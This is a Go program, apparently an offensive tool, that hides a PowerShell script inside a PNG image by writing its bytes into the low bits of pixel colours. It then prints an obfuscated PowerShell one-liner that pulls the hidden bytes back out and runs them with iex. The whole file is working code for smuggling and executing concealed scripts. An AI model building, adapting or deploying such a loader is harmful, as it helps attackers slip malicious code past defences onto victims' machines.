package main import ( "flag" "fmt" "image" "image/color" "image/png" "os" "path/filepath" ) func embedScriptInPNG(scriptPath, outPath, imagePath, execPath string) (string, error) { scriptBytes, err := os.ReadFile(scriptPath) if err != nil { return "", fmt.Errorf("[err] reading script file: %v\n", err) } if len(scriptBytes) == 0 { return "", fmt.Errorf("[err] script file is empty\n") } fmt.Printf("[inf] script size: %d bytes\n", len(scriptBytes)) scriptPath, err = filepath.Abs(scriptPath) if err != nil { return "", fmt.Errorf("[err] resolving script path: %v\n", err) } imagePath, err = filepath.Abs(imagePath) if err != nil { return "", fmt.Errorf("[err] resolving image path: %v\n", err) } outPath, err = filepath.Abs(outPath) if err != nil { return "", fmt.Errorf("[err] resolving output path: %v\n", err) } file, err := os.Open(imagePath) if err != nil { return "", fmt.Errorf("[err] opening input png file: %v\n", err) } defer file.Close() stat, err := file.Stat() if err != nil { return "", fmt.Errorf("[err] getting file info: %v\n", err) } fmt.Printf("[inf] image size: %d bytes\n", stat.Size()) img, err := png.Decode(file) if err != nil { return "", fmt.Errorf("[err] decoding png: %v\n", err) } bounds := img.Bounds() width, height := bounds.Max.X, bounds.Max.Y fmt.Printf("[inf] png dimensions: %dx%d\n", width, height) if len(scriptBytes) > width*height { return "", fmt.Errorf("[err] script too large (%d bytes) for png (%d pixels)\n", len(scriptBytes), width*height) } newImg := image.NewRGBA(image.Rect(0, 0, width, height)) for y := 0; y < height; y++ { for x := 0; x < width; x++ { r, g, b, a := img.At(x, y).RGBA() newImg.SetRGBA(x, y, color.RGBA{ R: uint8(r >> 8), G: uint8(g >> 8), B: uint8(b >> 8), A: uint8(a >> 8), }) } } for y := 0; y < height; y++ { for x := 0; x < width; x++ { index := y*width + x if index < len(scriptBytes) { byteValue := scriptBytes[index] r, g, b, a := newImg.At(x, y).RGBA() newR := (r & 0xF0) | uint32(byteValue>>4) newG := (g & 0xF0) | uint32(byteValue&0x0F) newImg.SetRGBA(x, y, color.RGBA{ R: uint8(newR), G: uint8(newG), B: uint8(b), A: uint8(a), }) } } } outFile, err := os.Create(outPath) if err != nil { return "", fmt.Errorf("[err] creating output file: %v\n", err) } defer outFile.Close() if err := png.Encode(outFile, newImg); err != nil { return "", fmt.Errorf("[err] encoding png: %v\n", err) } fmt.Printf("[inf] created output file: %s\n", outPath) psCmd := fmt.Sprintf( `sal a new-object;add-type -a system.drawing;$g=a system.drawing.bitmap("%s");$o=a byte[] %d;(0..%d)|%%{foreach($x in 0..%d) {$p=$g.getpixel($x,$_);$o[$_*%d+$x]=[math]::floor(($p.r -band 0x0f)*16) + ($p.g -band 0x0f);}};$g.dispose();iex([system.text.encoding]::ascii.getstring($o[0..%d]))`, execPath, width*height, height-1, width-1, width, len(scriptBytes)-1) return psCmd, nil } func main() { imagePath := flag.String("image", "", "input png file") scriptPath := flag.String("script", "", "powershell script file to embed") execPath := flag.String("exec", "", "execution path for decoder") outPath := flag.String("out", "", "output png file") flag.Parse() if *scriptPath == "" || *outPath == "" || *imagePath == "" || *execPath == "" { fmt.Println("go implementation to embed powershell scripts into png images using steganography") fmt.Println("use the powershell one-liner to decode and iex the embedded script") flag.PrintDefaults() os.Exit(1) } psCmd, err := embedScriptInPNG(*scriptPath, *outPath, *imagePath, *execPath) if err != nil { fmt.Errorf("[err] failed to embed script: %v", err) } fmt.Printf("[inf] successfully embedded %s into %s\n", *scriptPath, *outPath) fmt.Printf("[inf] powershell decoder snippet:\n") fmt.Println(psCmd) }